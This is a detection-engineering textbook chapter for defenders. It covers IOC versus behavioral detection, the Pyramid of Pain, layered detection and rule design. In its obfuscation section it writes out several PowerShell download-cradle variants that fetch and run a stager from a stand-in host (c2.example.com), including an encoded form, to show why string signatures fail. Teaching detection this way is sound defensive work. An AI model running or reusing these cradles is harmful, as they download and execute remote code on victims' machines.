Detection Philosophy
Before writing a single detection rule, you need to understand what you are actually trying to detect — and why most approaches quietly fail. This chapter builds the mental model that every good detection engineer carries at all times.
The Scenario
A company was breached. The attacker spent 47 days inside the network before anyone noticed. During that time, their SIEM fired 14,000 alerts. The security team triaged them all. None of the 14,000 caught the attacker.
How? Because every single alert was IOC-based: known-bad IPs, known-bad file hashes, known-bad domain names. The attacker used a fresh C2 domain registered the day before the attack, a clean VPS IP, and a custom tool with no public hash. The detection stack was looking for things it had already seen — and attackers know this.
The breach was eventually discovered because an analyst happened to notice, while reviewing an unrelated ticket, that a domain controller was making outbound HTTPS connections to a domain it had never contacted before — on a very precise 4-minute interval, every hour, for weeks.
That behavioral observation — process, interval, frequency, destination type — is exactly what detection engineering is built on. Not hashes. Not IPs. Behavior.
IOC vs. Behavior: The Core Split
Every detection you will ever write falls into one of two fundamental categories. Understanding the difference between them — and their trade-offs — is the foundation of everything else in this book.
IOC-BASED (Indicator of Compromise)
────────────────────────────────────────────────────────────────
What it is: A specific artifact: hash, IP, domain, registry key value,
file path, certificate thumbprint, user-agent string.
How it works: "If you see THIS EXACT THING, alert."
Example: SHA256 hash of known Cobalt Strike stager DLL
IP 198.51.100.22 (known C2 from a threat report)
Domain evil-c2-domain.com
Strength: Extremely precise. Zero false positives when the indicator
is current and accurate.
Weakness: Decays instantly when attacker changes anything. An attacker
can change their C2 IP in 60 seconds. A hash changes if they
add a single null byte to the binary.
Lifetime: Hours to days for IPs and domains. Days to weeks for hashes.
Longer for attacker TTP signatures (months to years).
BEHAVIOR-BASED (TTP Detection)
────────────────────────────────────────────────────────────────
What it is: A pattern of actions: what process spawned what child,
what system call sequence, what network behavior pattern,
what sequence of event IDs.
How it works: "If you see THIS PATTERN OF ACTIVITY, alert."
Example: Word.exe spawning PowerShell, which makes a network connection
within 30 seconds — regardless of what domain it contacts.
Strength: Survives tool changes, IP/domain rotations, and hash changes.
Forces attacker to change their fundamental technique,
which is expensive and operationally disruptive for them.
Weakness: Higher false positive rate. Legitimate software also spawns
child processes, also makes network connections.
Requires context and tuning to be useful.
Lifetime: Months to years. MITRE ATT&CK techniques persist across
entire attacker groups — they use the same technique for years.
A mature detection program uses both. IOC detections catch known-bad actors quickly and cheaply. Behavioral detections catch unknown actors and zero-days, and remain useful long after the IOC feeds have rotated.
The mistake most teams make early on is optimizing for precision (IOCs give you 100% precision when they match) while ignoring recall — the fraction of actual attacks that you catch. A detection that fires with zero false positives but misses 90% of real attacks is worse than one that has a 5% false positive rate but catches everything.
Modern adversary infrastructure is ephemeral by design. A Cobalt Strike operator can provision a new VPS with a new IP and a new C2 domain in under 10 minutes. Threat intel feeds that publish "bad IPs" are often publishing infrastructure that is already abandoned. The attacker has already moved to a new server by the time the report reaches your SIEM. This is why IOC-only detection is losing the arms race — it fundamentally advantages the attacker who controls the IOCs they generate.
The Pyramid of Pain
David Bianco's Pyramid of Pain (2013) is the most important mental model in detection engineering. It describes how much pain you inflict on an attacker depending on what kind of indicator you detect on. The higher up the pyramid you detect, the harder it is for the attacker to adapt.
/\
/ \
/ TT \ ← Tactics, Techniques & Procedures
/ Ps \ VERY HARD for attacker to change.
/ \ Changing TTPs = learning a new attack method.
/──────────\ MOST PAINFUL for attacker. HARDEST to detect.
/ \
/ Tools \ ← Specific tools: Mimikatz, Cobalt Strike, BloodHound
/ \ Hard to change (but possible — rebuild, rename,
/──────────────────\ recompile with different strings). Takes days/weeks.
/ \
/ Network/Host Artefacts ← Named pipes, mutex names, registry keys,
/ \ User-agent strings, URI patterns.
/────────────────────────────\ Moderately hard. Attacker must code change.
/ \
/ Domain Names \ ← C2 domains. Easy to change. New domain
/ \ registered in minutes. Somewhat annoying.
/──────────────────────────────────────\
/ IP Addresses \ ← New VPS in 5 minutes. Trivial.
/────────────────────────────────────────────\
/ Hash Values (File Hashes) \ ← Add a space, recompile. 1 second.
/──────────────────────────────────────────────────\ LEAST PAINFUL for attacker.
EASIEST to detect (exact match).
Detection level Attacker effort to evade Where to invest
─────────────────────────────────────────────────────────────────
Hash values Seconds Quick wins only; do not rely on
IP addresses Minutes these as primary detections
Domains Minutes Use for blocking, not detection
Network/host artefacts Hours Build these; moderate ROI
Tools Days–weeks High ROI; hard to evade consistently
TTPs Months–never Primary investment; highest ROI
The practical implication: spend most of your engineering time at the top three levels (TTPs, tools, artefacts) and use the lower levels for fast-block enrichment, not as the backbone of your detection program.
APT29 (Cozy Bear, the group behind SolarWinds and the DNC breach) has been observed consistently since at least 2014. Their C2 infrastructure changes constantly — every campaign uses fresh domains and IPs. But their fundamental technique — spearphishing with a malicious attachment that drops a first-stage loader, which then communicates via HTTPS with domain fronting to blend into legitimate traffic — has remained consistent across a decade. Detection engineers who built TTPs-level detections in 2016 still catch APT29 activity today. Detection engineers who relied on IOCs had to rebuild their detections for every single campaign.
Detection-in-Depth
No single detection layer catches everything. Just as network security uses defense-in-depth (firewall + IDS + endpoint + DLP), detection engineering uses detection-in-depth: multiple overlapping detection layers, each catching what the others miss.
Attack enters environment
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ LAYER 1: NETWORK (NDR/Firewall/Proxy/DNS) │
│ Catches: C2 beaconing patterns, DNS tunneling, lateral movement│
│ traffic, data exfil volume spikes, port scans │
│ Misses: Encrypted traffic (HTTPS C2), in-memory attacks with │
│ no network activity, living-off-the-land activity │
└─────────────────────────────────────────────────────────────────┘
│ (if not caught)
▼
┌─────────────────────────────────────────────────────────────────┐
│ LAYER 2: ENDPOINT (EDR/Sysmon/AV/Audit Logs) │
│ Catches: Process creation, injection, persistence, │
│ privilege escalation, credential dumping, file ops │
│ Misses: Novel in-kernel rootkits, firmware implants, │
│ attacks on poorly-logged systems │
└─────────────────────────────────────────────────────────────────┘
│ (if not caught)
▼
┌─────────────────────────────────────────────────────────────────┐
│ LAYER 3: IDENTITY (AD/AAD/Okta Logs + ITDR) │
│ Catches: Credential abuse, Pass-the-Hash, Kerberoasting, │
│ impossible travel, MFA bypass, account takeover │
│ Misses: Attacker who stays within single account's │
│ normal access patterns │
└─────────────────────────────────────────────────────────────────┘
│ (if not caught)
▼
┌─────────────────────────────────────────────────────────────────┐
│ LAYER 4: CLOUD & APPLICATION (CloudTrail/Activity Log/WAF) │
│ Catches: IAM abuse, data access anomalies, API key theft, │
│ S3 exfil, privilege escalation via IAM │
│ Misses: Attacker using stolen legitimate credentials │
│ within baseline access patterns │
└─────────────────────────────────────────────────────────────────┘
│ (if not caught)
▼
┌─────────────────────────────────────────────────────────────────┐
│ LAYER 5: BEHAVIORAL (UEBA/ML Baselines) │
│ Catches: Slow-burn attacks below individual-layer thresholds, │
│ insider threats, unusual data access over time, │
│ statistical anomalies across all layers combined │
│ Misses: Perfectly blended attacker who mimics normal behavior │
└─────────────────────────────────────────────────────────────────┘
│ (if not caught)
▼
BREACH (accepted residual risk — no system catches everything)
The key insight is that each layer catches a different slice of attacker behavior. An attacker who evades network-layer detection by using HTTPS C2 will still trigger endpoint detection when they inject into a process. An attacker who avoids process injection will still trigger identity-layer detection when they attempt lateral movement via Pass-the-Hash. Defense-in-depth means that an attacker must evade every layer simultaneously — which becomes exponentially harder.
No attacker floats invisibly through your environment. They must execute code on a machine (endpoint layer). That code must communicate over the network to receive commands (network layer). They must eventually access data or systems beyond their initial foothold (identity/lateral movement layer). They must do something with what they find (exfil layer). Every one of these actions leaves a trace somewhere. The job of detection engineering is to know where those traces appear and make sure you are watching.
Why Signatures Decay Faster Than Behaviors
A common source of frustration in security operations is that detection rules that worked last month stop working this month. Understanding why this happens tells you how to write rules that stay relevant.
The Signature Decay Problem
A signature is a rule written against a specific observable artifact. That artifact exists because a particular piece of software, running in a particular way, produces it. When either the software or the way it runs changes, the artifact changes — and the signature silently stops matching.
IOC Signature: match on IP 198.51.100.22
──────────────────────────────────────────────────────────────
Change required to evade: Attacker gets a new VPS. Cost: ~$5/month.
Time to evade: 5 minutes.
Detection lifetime: Until next threat intel update (hours to days).
Hash Signature: match on SHA256 abc123...def456
──────────────────────────────────────────────────────────────
Change required to evade: Add any byte to the binary (null byte, comment,
timestamp change, recompilation with different seed).
Time to evade: Seconds to minutes.
Detection lifetime: Until attacker rebuilds. Often 1 campaign.
Tool Signature: match on Mimikatz strings "sekurlsa", "wdigest"
──────────────────────────────────────────────────────────────
Change required to evade: Rename strings in source code, obfuscate, use
different lsass dumping method (e.g., comsvcs.dll).
Time to evade: Hours to days (requires code changes and retesting).
Detection lifetime: Weeks to months.
TTP Signature: match on process opening lsass.exe with PROCESS_VM_READ
──────────────────────────────────────────────────────────────
Change required to evade: Must dump credentials via a fundamentally
different method: DCSync (network-based, no LSASS
access), shadow credential attack, DPAPI abuse,
AS-REP roasting (no DC access needed). Each of
these has its own TTP-level detection.
Time to evade: Must change the attack technique entirely.
Detection lifetime: Years. PROCESS_VM_READ on lsass.exe has been a valid
detection signal since Windows XP.
Obfuscation and the Encoding Problem
Attackers exploit a fundamental asymmetry: there are infinitely many ways to encode the same functionality. A PowerShell download cradle can be written as:
# Canonical form — trivially caught by any signature
IEX (New-Object Net.WebClient).DownloadString('http://c2.example.com/stager.ps1')
# Base64 encoded
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwAyAC4AZQB4AGEAbQBwAGwAZQAuAGMAbwBtAC8AcwB0AGEAZwBlAHIALgBwAHMAMQAnACkA
# String concatenation to split up keywords
$a = 'IE'; $b = 'X'; &($a+$b) (New-Object Net.WebClient).DownloadString('http://c2.example.com/stager.ps1')
# Invoke-Expression alias
& ([scriptblock]::Create((New-Object System.Net.WebClient).DownloadString('http://c2.example.com/stager.ps1')))
# COM object instead of WebClient
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Navigate('http://c2.example.com/stager.ps1')
# ... extract content from IE object ...
# Environment variable splitting
$env:COMSPEC = 'IEX'; (New-Object Net.WebClient).DownloadString($env:C2URL) | &$env:COMSPEC
A signature that matches the string DownloadString in PowerShell blocks
exactly one of these. A TTP-level detection that asks "did any process make an outbound
connection within 5 seconds of running a PowerShell script that uses reflection or
WebClient?" catches all six — and every future variation that achieves the same outcome.
It is tempting to write Sigma rules that match PowerShell command-line strings like
DownloadString, IEX, Invoke-Expression, or
EncodedCommand. These catch script kiddies who use default tooling with
no obfuscation. Any competent adversary will encode, compress, or split these strings
in their second iteration. Instead, detect on the outcome: PowerShell Script
Block Logging (Event ID 4104) captures the fully-decoded script before execution —
no obfuscation survives at that point. That is a behavioral detection at the execution
layer, not a syntactic signature.
What Makes a Good Detection
A detection rule is a product. It has a signal (what it finds), a noise floor (how many false positives it generates), a lifetime (how long it remains valid), and a cost (how much analyst time it consumes). Good detections optimize all four.
The Five Properties of a Good Detection
| Property | What it means | How to achieve it |
|---|---|---|
| Specific | Fires on a pattern that almost only occurs during the attack technique you are targeting. Minimizes false positives. | Add parent process context, path context, user context, time context. Never match on a single field if two fields make it more specific. |
| Sensitive | Catches the attack in the vast majority of real-world variations, not just one specific tool's default behavior. | Detect on the underlying action (process access, file creation, registry write) rather than a specific tool's artifact (mutex name, pipe name, string). |
| Resilient | Continues working when the attacker changes their tool or minor technique variations. | Detect on the outcome of the action (LSASS opened with PROCESS_VM_READ) not the actor performing it (procdump.exe). The attacker can change the actor but not the required OS action. |
| Actionable | An alert from this rule gives the analyst enough context to make a triage decision without extensive additional investigation. | Include: process name, full command line, parent process, user, hostname, network connection if any, and a brief description of why this pattern is suspicious. |
| Documented | Another analyst six months from now can understand why this rule exists, what it catches, and how to tune it without breaking it. | Write the rationale, the ATT&CK mapping, the data source requirement, and known false positive patterns into the rule metadata — not just the logic. |
Precision vs. Recall: The Core Trade-off
Every detection rule sits somewhere on the precision–recall curve. This is not a flaw; it is a design choice. Understanding it prevents you from chasing impossible perfection and helps you make conscious trade-offs.
PRECISION = of all alerts fired, what fraction are real attacks?
(low precision = lots of false positives)
RECALL = of all real attacks, what fraction did we detect?
(low recall = lots of missed attacks)
────────────────────────────────────────────────────────────────
Example: "Alert on any PowerShell execution"
┌───────────────────────────────────────────────────────┐
│ Recall: Very high — catches almost all PS attacks │
│ Precision: Very low — fires on every IT script too │
│ Result: Alert fatigue. Analysts ignore it. │
└───────────────────────────────────────────────────────┘
Example: "Alert on SHA256 hash of known Cobalt Strike loader"
┌───────────────────────────────────────────────────────┐
│ Recall: Very low — misses all new CS builds │
│ Precision: Very high — every match is real (when │
│ the intel is current) │
│ Result: Too brittle. Silent during novel attacks. │
└───────────────────────────────────────────────────────┘
Example: "Alert on non-browser process making DNS query for
DGA-like domain (high entropy, registered < 24h)"
┌───────────────────────────────────────────────────────┐
│ Recall: High — catches most DGA-based malware │
│ Precision: Medium — some legitimate software uses │
│ random-looking subdomains (CDNs, tracking) │
│ Result: Workable. Tune out known-good CDN patterns │
│ and this becomes a high-value detection. │
└───────────────────────────────────────────────────────┘
Where to aim:
─────────────────────────────────────────────────────────
High-severity alerts → Higher precision required (auto-escalate to P1,
must not fire on benign activity constantly)
Low/medium alerts → Can accept lower precision (analysts batch-review,
contribute to risk scoring without causing fatigue)
Hunting queries → Optimize for recall (you want to see everything,
you will manually filter)
If a detection fires 100 times per day and 1% are true positives, that means 1 real alert buried in 99 false positives. If each alert takes 5 minutes to triage, the analyst spends 8.3 hours per day handling this one rule, just to find 1 real alert. At 10 such rules, you have a team that does nothing but triage noise. This is how alert fatigue develops — and alert fatigue is a security risk, because analysts under fatigue miss real alerts. A detection that generates noise at scale is not just useless; it is actively harmful.
What Detection Engineering Actually Is
Detection engineering is often described as "writing SIEM rules." That description is as reductive as describing software engineering as "writing for loops." The actual discipline involves:
- Threat modeling — understanding what attacks are plausible in your specific environment, what data your adversaries are after, and what techniques they are likely to use to get it.
- Data source analysis — knowing what logs your environment generates, what information each log source captures, and what gaps exist (where an attack could happen and leave no log trace).
- Detection design — translating an attack technique into a detection logic that balances specificity against resilience, and precision against recall.
- Implementation — writing the rule in the appropriate language (Sigma, KQL, SPL, EQL, YARA, Python) for the target platform.
- Testing — proving the rule fires on real attack simulations (Atomic Red Team, Caldera) and does not fire on benign traffic.
- Operations — monitoring the rule's performance over time, tuning it when the environment changes, retiring it when it becomes obsolete, and tracking coverage across the ATT&CK matrix.
The output of detection engineering is not rules — it is reliable, tuned detections that catch real attacks with acceptable noise. Rules are the implementation artifact. A detection engineer who can write perfect Sigma syntax but doesn't understand why they're writing it will produce rules that look correct and catch nothing meaningful.
The best detection engineers mentally inhabit the attacker's perspective before writing a single rule. Ask: if I were trying to steal credentials from this network, what would I do? What would I need to touch? What processes would I run? What registry keys would I write? What network connections would I make? Only after walking through the attacker's required actions do you ask: which of those actions left a log event? Which log event is specific enough to build a detection on? Which combination of log events removes all the false positive scenarios? This is why red team experience accelerates detection engineering — you develop intuition for which defender-visible artifacts are unavoidable vs. which ones can be easily bypassed.
Anatomy of a Detection
Before writing your first rule in any platform, understand the components that every detection — regardless of language or platform — must address:
┌────────────────────────────────────────────────────────────────────┐
│ DETECTION RULE │
│ │
│ METADATA │
│ ───────────────────────────────────────────────────────────── │
│ name: "Suspicious LSASS Memory Access" │
│ severity: High │
│ confidence: High │
│ tactic: Credential Access (MITRE ATT&CK TA0006) │
│ technique: OS Credential Dumping — LSASS Memory (T1003.001) │
│ data_source: Sysmon Event ID 10 (ProcessAccess) │
│ │
│ DETECTION LOGIC │
│ ───────────────────────────────────────────────────────────── │
│ condition: TargetImage ends with "\lsass.exe" │
│ AND GrantedAccess contains 0x1010 (VM_READ) │
│ AND NOT SourceImage in [known_good_list] │
│ │
│ RESPONSE GUIDANCE │
│ ───────────────────────────────────────────────────────────── │
│ runbook: "Isolate host. Collect memory dump. Reset all │
│ credentials from that host. Check for lateral │
│ movement in the next 30 minutes of log data." │
│ │
│ TUNING HISTORY │
│ ───────────────────────────────────────────────────────────── │
│ 2024-01-15: Added exclusion for sysmon.exe (self-opens lsass) │
│ 2024-03-22: Added exclusion for Windows Defender process │
│ 2024-06-01: Narrowed GrantedAccess to require PROCESS_VM_READ │
└────────────────────────────────────────────────────────────────────┘
Notice what is in the rule beyond the logic itself. The metadata tells the analyst what technique this catches before they read the logic. The response guidance tells them what to do before they have to think about it at 2 AM during an incident. The tuning history explains why the exclusions exist — without it, a new analyst might remove a critical exclusion thinking it is overly permissive, causing a flood of false positives.
Coverage vs. Depth: Where to Invest
One of the earliest strategic decisions in building a detection program is whether to build broad shallow coverage (a detection for every ATT&CK technique, even if each one is mediocre) or narrow deep coverage (a small number of detection chains that are exceptionally well-tuned and reliable).
BROAD SHALLOW COVERAGE
──────────────────────────────────────────────────────────────────
+ Detects a wider variety of attack types
+ Fulfills compliance requirements (SOC 2, ISO 27001, etc.)
+ Harder for attackers to know your blind spots
- Each individual detection may fire too much or too little
- Alert fatigue from poorly-tuned rules across many techniques
- Analyst triage time spread thin across too many alert types
NARROW DEEP COVERAGE
──────────────────────────────────────────────────────────────────
+ Each detection is extremely well-tuned, high-confidence
+ Analyst trust in the alerting system is high
+ Faster response when an alert fires
- Attacker who uses techniques outside your covered set is invisible
- Risk concentration: one gap = complete blind spot
RECOMMENDED APPROACH: Priority-driven depth
──────────────────────────────────────────────────────────────────
1. Identify your highest-priority threat actors (who specifically
targets your industry, your size, your geography?)
2. Map their TTPs using MITRE ATT&CK and available reporting
3. Build excellent, well-tuned detections for their top 10 TTPs
4. Build shallow (but existing) coverage for the next 30 TTPs
5. Accept that you will not detect everything — that is normal
The goal is not 100% ATT&CK coverage. The goal is reliable
detection of the attacks most likely to affect your organization.
What You Now Know
1. What is the fundamental difference between IOC-based and behavior-based detection?
IOC-based detection matches on specific artifacts — file hashes, IP addresses, domain names, registry key values — that are known to be associated with malicious activity. It is precise (when the indicator is current) but decays rapidly as attackers rotate infrastructure. Behavior-based detection (TTP detection) matches on patterns of activity — what process opened what, what sequence of events occurred, what network behavior pattern emerged — that are tied to how an attack must work rather than which specific tools or infrastructure were used. Behavioral detection survives tool changes, IP/domain rotations, and hash modifications, because the underlying technique (e.g., reading LSASS memory for credentials) must happen regardless of which specific tool the attacker uses.
2. Explain the Pyramid of Pain. What are the six levels and what is the key insight?
The Pyramid of Pain (Bianco, 2013) describes how much operational pain you inflict on an attacker depending on which level of indicator you detect on. From bottom to top: (1) Hash values — trivially changed by recompiling; attacker evades in seconds. (2) IP addresses — changed by getting a new VPS; evades in minutes. (3) Domain names — new domain registered in minutes. (4) Network/host artifacts — mutex names, pipe names, user-agent strings; require code changes, takes hours. (5) Tools — specific malware families and tools; require building new tooling, days to weeks. (6) TTPs — the attack technique itself; forces the attacker to learn an entirely different method, which takes months and disrupts their operations. The key insight: invest most of your engineering effort in detecting TTPs and tools, use lower-level indicators for rapid blocking enrichment (not as primary detections).
3. What is detection-in-depth and why does it matter?
Detection-in-depth means deploying multiple overlapping detection layers, each observing the attack from a different vantage point, so that an attacker who evades one layer is still caught by another. The layers typically include: network (NDR, firewall, proxy, DNS), endpoint (EDR, Sysmon, AV, audit logs), identity (AD/AAD/Okta logs, ITDR), cloud/application (CloudTrail, WAF, Activity Log), and behavioral (UEBA, ML baselines). It matters because no single layer catches everything: an attacker using HTTPS C2 evades network detection but triggers endpoint detection when they inject into a process; an attacker who avoids process injection triggers identity-layer detection during lateral movement. Requiring the attacker to evade every layer simultaneously makes their task exponentially harder.
4. Why do signatures decay faster than behavioral detections? Give a concrete example.
Signatures decay because they are written against specific observable artifacts — and those artifacts are under the attacker's control. The attacker can change an IP address in 5 minutes, change a file hash by recompiling in seconds, and change a domain in minutes. Behavioral detections are written against actions the attack technique must perform, which are not under the attacker's control. Concrete example: A signature matching the Mimikatz string "sekurlsa::logonpasswords" stops working when the attacker renames the string in their custom build. A behavioral detection matching "any process opening lsass.exe with PROCESS_VM_READ access rights, where the source process is not in an approved list" catches Mimikatz, procdump, nanodump, PPLBlade, pypykatz, and any future credential dumper that reads LSASS memory — because all of them must perform the same OS-level action regardless of their name.
5. What is the precision–recall trade-off in detection, and how does it affect rule design?
Precision is the fraction of alerts that are true positives (real attacks); low precision means many false positives. Recall is the fraction of real attacks that generate an alert; low recall means missed attacks. Every detection rule sits somewhere on this curve — improving one tends to worsen the other. A rule that fires on any PowerShell execution has high recall (catches almost all PowerShell attacks) but terrible precision (fires on every IT script, triggering fatigue). A rule matching a specific hash has perfect precision but near-zero recall. In practice: high-severity detections that auto-escalate to P1 require high precision (analysts must be able to trust them). Lower-severity detections can tolerate lower precision if they contribute to risk scoring. Hunting queries should optimize for recall, since manual filtering is expected.
6. What are the five properties of a good detection rule?
(1) Specific — fires on a pattern that almost exclusively occurs during the target attack technique, minimizing false positives by using multi-field context (parent process + path + user + time). (2) Sensitive — catches the attack across its realistic variations, not just one tool's default output, by detecting on the required OS action rather than tool-specific artifacts. (3) Resilient — survives when the attacker changes tools, C2 infrastructure, or encoding, because the detection is anchored to what the attack technique must do rather than how a specific implementation does it. (4) Actionable — the alert gives the analyst enough context to make a triage decision without additional investigation (process name, command line, parent, user, host, reason for suspicion). (5) Documented — the rule's rationale, ATT&CK mapping, data source requirements, and known false positive patterns are recorded so another analyst can understand, tune, and maintain it six months later.
7. What does a detection engineer actually do, beyond "writing SIEM rules"?
Detection engineering encompasses: (1) Threat modeling — identifying which adversaries and attack techniques are most relevant to the specific organization. (2) Data source analysis — understanding what logs exist, what they capture, and what gaps remain. (3) Detection design — translating attack techniques into detection logic that balances specificity against resilience and precision against recall. (4) Implementation — writing rules in Sigma, KQL, SPL, EQL, YARA, or Python for the target platform. (5) Testing — simulating the attack with tools like Atomic Red Team or Caldera to verify the rule fires correctly. (6) Operations — monitoring rule performance over time, tuning when the environment changes, retiring obsolete rules, and tracking ATT&CK coverage. The output is not rules; it is reliable, tuned detections that catch real attacks with acceptable noise at sustainable analyst workload.
8. What is the recommended approach to prioritizing detection coverage?
The recommended approach is priority-driven depth rather than either broad-shallow or narrow-deep coverage. The process: (1) Identify your most likely threat actors based on industry, geography, and organization size — not every threat applies to every org. (2) Map those actors' confirmed TTPs using MITRE ATT&CK and available threat intelligence reporting. (3) Build excellent, rigorously-tuned detections for their top 10 most-used techniques — these are high-confidence, low-noise alerts that analysts trust. (4) Build shallower but existing coverage for the next 30 most likely techniques. (5) Accept a residual blind spot and compensate with threat hunting and incident response capability. The goal is not 100% ATT&CK coverage — it is reliable detection of attacks most likely to affect your specific organization.